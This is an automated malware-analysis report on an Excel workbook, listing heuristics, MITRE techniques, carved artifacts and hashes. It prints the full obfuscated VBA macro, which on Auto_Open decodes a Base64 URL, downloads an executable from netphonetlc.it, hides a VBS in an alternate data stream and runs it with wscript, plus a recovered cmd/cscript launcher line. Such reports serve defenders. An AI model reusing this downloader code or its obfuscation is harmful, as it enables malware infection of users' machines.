MALICIOUS
512
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is an Excel document containing a VBA macro that is triggered by the Auto_Open event. This macro utilizes WScript.Shell and CreateObject to execute a command that downloads and runs a second-stage executable from the URL http://netphonetlc.it/369/obj2Prostates.exe. The presence of a Base64-decoded shell command stager further indicates a downloader functionality.
Heuristics 14
-
Equation Editor OLE object high OLE_EQUATION_EDITOREmbedded OLE object xl/embeddings/oleObject3.bin contains the Equation Editor CLSID, the legacy component exploited by CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798.
-
Embedded Office object carries macros critical OFFICE_EMBEDDED_MACRO_OBJECTThis document embeds a second Office file that itself contains a VBA macro project or an Excel 4.0 (XLM) macro sheet. Hiding a macro-bearing workbook or document inside another document — frequently under an obfuscated, non-standard part name — is a macro-smuggling technique that defeats scanners which only inspect the outer document's macro storage. No benign authoring workflow stages a hidden macro project this way.
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
s = s + " sWScript = sWScript + "".""'hu4u4hu4uh4uhu4hu4" + vbCrLf s = s + " m = sWScript + ""Shell""'hu4u4hu4uh4uhu4hu4" + vbCrLf s = s + " Execute(""l=m"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
On Error Resume Next Wscript = "Wscript.Shell" Set oknbvcfgh = CreateObject(Wscript) -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Application.Execute (Selection.Font.Name = "Arial"): Set gfdgfdgdf = Nothing Path = "C:\Windows\System32\wscript.exe " File = x + ":script1" -
VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGERVBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.Matched line in script
s = s + " 'He was disappointed when he found the beach to be so sandy and the sun so sunny.'hu4u4hu4uh4uhu4hu4" + vbCrLf s = s + " varob = ""CreateObject"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf s = s + " Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
s = s + " 'He was disappointed when he found the beach to be so sandy and the sun so sunny.'hu4u4hu4uh4uhu4hu4" + vbCrLf s = s + " varob = ""CreateObject"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf s = s + " Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Attribute VB_Name = "Module1" Sub Auto_Open() s = s + "fsdfdsfs = ""Z2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdk""" + vbCrLf -
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded OLE object medium OOXML_OLE_OBJECTDocument contains an embedded OLE object
-
Payload URL recovered from embedded OLE object (1 URL) info OOXML_EMBEDDED_OBJECT_URLAn embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://netphonetlc.it/369/obj2Prostates.exe Referenced by macro
Extracted artifacts 9
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 14760 bytes |
SHA-256: 09113aa93c8ba2ce5a289ee4f3364b4e1e1df421f880382324a12ce13f12fff4 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub Auto_Open()
s = s + "fsdfdsfs = ""Z2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdkZ2RmZ2RmZ2RmZ2RnZGZnZGZnZGZnZGdkZmdkZmdkZmdk""" + vbCrLf
s = s + "fsdfdsfs = ""aHR0cDovL25ldHBob25ldGxjLml0LzM2OS9vYmoyUHJvc3RhdGVzLmV4ZQ=="" " + vbCrLf
s = s + "yulkytjtrhtjrkdsarjky =""U0RXRVJXRS5leGU=""" + vbCrLf
s = s + "'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "itype = ""bin""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "itype = itype + ""."" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "itype = itype + ""base""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "itype = itype + ""64"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "dim after, path'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "after = ""later"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "dim filestring'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "dim linkstring'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "Sub ase64Decode(ByVal sBase64EncodedText, ByVal fIsUtf16LE) '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Dim sTextEncoding'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " if fIsUtf16LE Then sTextEncoding = ""utf-16le"" Else sTextEncoding = ""utf-8""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " 'He was disappointed when he found the beach to be so sandy and the sun so sunny.'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " varob = ""CreateObject"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " alxmd.DataType = itype'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " alxmd.Text = sBase64EncodedText '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " aaax = ""ADODB.Stream""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " novarue = ""Node""" + vbCrLf
s = s + " Execute(""novarue = novarue + """"TypedValue"""""")" + vbCrLf
s = s + " Execute(""byteArray = alxmd."" + novarue)'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " If LCase(sTextEncoding) = ""utf-16le"" then '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " 'Someone I know recently combined Maple Syrup & buttered Popcorn thinking it would taste like caramel popcorn. It didn’t and they don’t recommend anyone else do it either.'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " filestring = CStr(byteArray)'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Else ' Convert the specified text encoding to a VBScript string.'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' Create a binary stream and copy the input byte array to it.'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " varob = ""CreateObject"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""Set baax = "" + varob + ""(aaax)"")'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Type = 1 ' adTypeBinary '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""baax."" + ""Open"")'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Write byteArray'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " 'It would have been a better night if the guys next to us weren't in the splash zone.'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Position = 0'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Type = 2 ' adTypeText'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.CharSet = sTextEncoding'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " filestring = baax.ReadText'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Close'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " End If'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "end sub'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "Sub tse64Decode(ByVal sBase64EncodedText, ByVal fIsUtf16LE)'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Dim sTextEncoding '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " if fIsUtf16LE Then sTextEncoding = ""utf-16le"" Else sTextEncoding = ""utf-8""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' Use an aux. XML document with a Base64-encoded element. '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' available via .todeTypedValue, which we can pass to BytesToStr() '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " varob = ""CreateObject""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"")'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " alxmd.DataType = itype'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " alxmd.Text = sBase64EncodedText '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " aaax = ""ADODB.Stream"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " novarue = ""Node""" + vbCrLf
s = s + " Execute(""novarue = novarue + """"TypedValue"""""")" + vbCrLf
s = s + " Execute(""byteArray = alxmd."" + novarue)'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " If LCase(sTextEncoding) = ""utf-16le"" then'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' UTF-16 LE happens to be VBScript's internal encoding, so we can'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' take a shortcut and use CStr() to directly convert the byte array'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' to a string.'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " linkstring = CStr(byteArray)'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Else ' Convert the specified text encoding to a VBScript string.'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' Create a binary stream and copy the input byte array to it. '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " varob = ""CreateObject""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""Set baax = "" + varob + ""(aaax)"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Type = 1 ' adTypeBinary'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""baax."" + ""Open"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Write byteArray'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' Now change the type to text, set the encoding, and output the 'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' result as text. '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Position = 0'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Type = 2 ' adTypeText'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.CharSet = sTextEncoding'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " linkstring = baax.ReadText '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " baax.Close'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " End If'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "end sub'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "call ase64Decode(yulkytjtrhtjrkdsarjky,False) 'filestring'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "call tse64Decode(fsdfdsfs,False) 'linkstring'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "Sub HTxTPDownload( aa, bb )'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " cobvar = ""Scripting.FileSystemObject""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Set fso = CreateObject(cobvar) '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " path = ""C:""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " path = path + ""\program""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " path = path + ""data""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " path = path + ""\asc.txt""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " If (fso.FileExists(path)) Then '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " fso.DeleteFile(path)'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " msg = path & "" exists.""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""MyURL=aa:MyPath=bb"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " sWScript = ""WScript""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " sWScript = sWScript + "".""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " m = sWScript + ""Shell""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""l=m"") '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " set just_obj = CreateObject(l)'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Else'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " msg = path & "" doesn't exist.""'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " End If'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Dim i, objFile, objFSO, objHTTP, strFile, strMsg'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Const ForReading = 1, ForWriting = 2, ForAppending = 8 '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Set objFSO = CreateObject(cobvar)'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " If objFSO.FolderExists( myPath ) Then'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, ""/"" ) + 1 ) )'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, ""\"" ) - 1 ) ) Then'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " 'If any cop asks you where you were, just say you were visiting Kansas.'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " strFile = myPath'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Else'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " WScript.Echo ""If you don't like toenails, you probably shouldn't look at your feet."" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Exit Sub'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " End If'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Set objHTTP = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " 'Set objHTTP = CreateObject( ""Microsoft.XMLHTTP"" )'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " dim stream_obj'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ado = ""ADODB.Stream"" '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " set stream_obj = CreateObject(ado)'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""objHT"" + ""TP."" + ""Open """"GET"""", myURL, False"")'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " objHTTP.Send'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " stream_obj.type = 1'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""stream_obj."" + ""open"")'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " stream_obj.write objHTTP.ResponseBody '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " Execute(""stream_obj.save"" + ""tofile strFile, 2"")'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' Write the byte stream to the target file'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " 'For i = 1 To LenB( objHTTP.ResponseBody )'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " 'Next'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " ' Close the target file'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + " 'objFile.Close( )'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "End Sub'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "yulkytjtrhtjrkdsarjky = filestring'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "yulkytjtrhtjrkdsarjky = ""C:"" + ""\Program"" + ""Data\"" + yulkytjtrhtjrkdsarjky'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "fsdfdsfs = linkstring '37491'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "HTxTPDownload fsdfdsfs, yulkytjtrhtjrkdsarjky'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "dim just_obj'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "RUNC = yulkytjtrhtjrkdsarjky'hu4u4hu4uh4uhu4hu4" + vbCrLf
s = s + "Execute(""just_obj."" + ""exec RUNC"")" + vbCrLf
On Error Resume Next
Wscript = "Wscript.Shell"
Set oknbvcfgh = CreateObject(Wscript)
'If Error WS Does not exist
If Err.Number <> 0 Then
DoesWSExist = False
Else '37491
DoesWSExist = True '37491
End If
On Error GoTo -1
j = ".S" + "hell"
Range("A1:C1").Select
Selection.Font.Name = "Arial" '37491
Selection.Font.Bold = True
Selection.Font.Italic = True
Selection.Interior.Color = vbGreen
xzxz = "Ws" + "cr" + "ipt" + j
x = "C:"
x = x + "\program"
x = x + "data"
x = x + "\asc.txt"
Dim i As Integer
On Error GoTo Last
'ii = InputBox("Enter Value", "Enter Serial Numbers")
For i = 1 To i
ActiveCell.Offset(1, 0).Activate
Next i
Last:
On Error GoTo Handler '37491
Application.EnableEvents = False
Handler:
Dim gfdgfdgdf As Object
sdfsdfs = "Scri"
sdfsdfs = sdfsdfs + "pting."
smallvar = "File"
smallvar = smallvar + "SystemObject" '37491
Set gfdgfdgdf = CreateObject(sdfsdfs + smallvar)
Dim oFile As Object
'Set oFile = gfdgfdgdf.CreateTextFile("C:\secret\test1.txt") '37491
Set oFile = gfdgfdgdf.CreateTextFile(x + ":script1" + ".vbs")
On Error Resume Next
'If Error WS Does not exist
If Err.Number <> 0 Then
End If
On Error GoTo -1
Application.Execute ("oFile.WriteLine s"): oFile.WriteLine s '#############################
'oFile.Close
Application.Execute (Selection.Font.Name = "Arial"): Set gfdgfdgdf = Nothing
Path = "C:\Windows\System32\wscript.exe "
File = x + ":script1"
File = File + "." + "vb"
File = File + "s"
'The trick to getting kids to eat anything is to put catchup on it.It's much more difficult to play tennis with a bowling ball than it is to bowl with a tennis ball.The sky is clear; the stars are twinkling.:x = Shell(Path + " " + File, vbNormalFocus)
x = Shell(Path + File, vbNormalFocus) ''The trick to getting kids to eat anything is to put catchup on it.It's much more difficult to play tennis with a bowling ball than it is to bowl with a tennis ball.The sky is clear; the stars are twinkling.
End Sub
|
|||
ooxml_oleobject_00.bin |
ooxml-ole-object | OOXML embedded OLE part: xl/embeddings/oleObject1.bin | 3584 bytes |
SHA-256: b1dae73024478deb78cd72c6e661ada9e7ad1d869428ab59fb2743f23d90dc28 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
|
|||
ooxml_oleobject_00_ole10native_00.bin |
ole-package | OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native | 969 bytes |
SHA-256: 42626c606abcc8026027053c616db73df255384ea724b54606b35e11f10c5172 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
|
|||
ooxml_oleobject_01.bin |
ooxml-ole-object | OOXML embedded OLE part: xl/embeddings/oleObject3.bin | 5936 bytes |
SHA-256: 6cd73f15b74e03d90e8d8f88ec9cbb3032bafeefc1026727883d9f3cc83c62b9 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered command string(s): cmd /c ren %tmp%\yy y.js&CSCRIPT %tmp%\y.js C
|
|||
ooxml_oleobject_02.bin |
ooxml-ole-object | OOXML embedded OLE part: xl/embeddings/oleObject2.bin | 9216 bytes |
SHA-256: 09dc84d17b4233a529da4ec1d4c386d7526d07c7be2a38f063f31dea44809e05 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '37491, WScript = sWScript + "."
|
|||
ooxml_oleobject_02_ole10native_00.bin |
ole-package | OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native | 6395 bytes |
SHA-256: cd54818d02d97bd1f993e1f6f909455446f7c0c223fcc97b3224e0d219e042e2 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '37491, WScript = sWScript + "."
|
|||
ooxml_oleobject_03.bin |
ooxml-ole-object | OOXML embedded OLE part: xl/vbaProject.bin | 35328 bytes |
SHA-256: 384ac99c0107161d188736d0bc76e74cfdcd7a642604086b9b9b4a090a91ed18 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered command string(s): WScript = "WScript"'hu4u4hu4uh4uhu4hu4, WScript = sWScript + "."'hu4u4hu4uh4uhu4hu4, WScript + "Shell"'hu4u4hu4uh4uhu4hu4
|
|||
emf_00.emf |
ooxml-emf | OOXML EMF part: xl/media/image1.emf | 4968 bytes |
SHA-256: 979dde2aed02f077c16ae53546c6df9eed40e8386d6db6fc36aee9f966d2cb82 |
|||
emf_01.emf |
ooxml-emf | OOXML EMF part: xl/media/image2.emf | 1536 bytes |
SHA-256: 4d4d1e7b04c99dcb8e885915068ad6f74cc2333e91580cdae5ccaa00c427247f |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.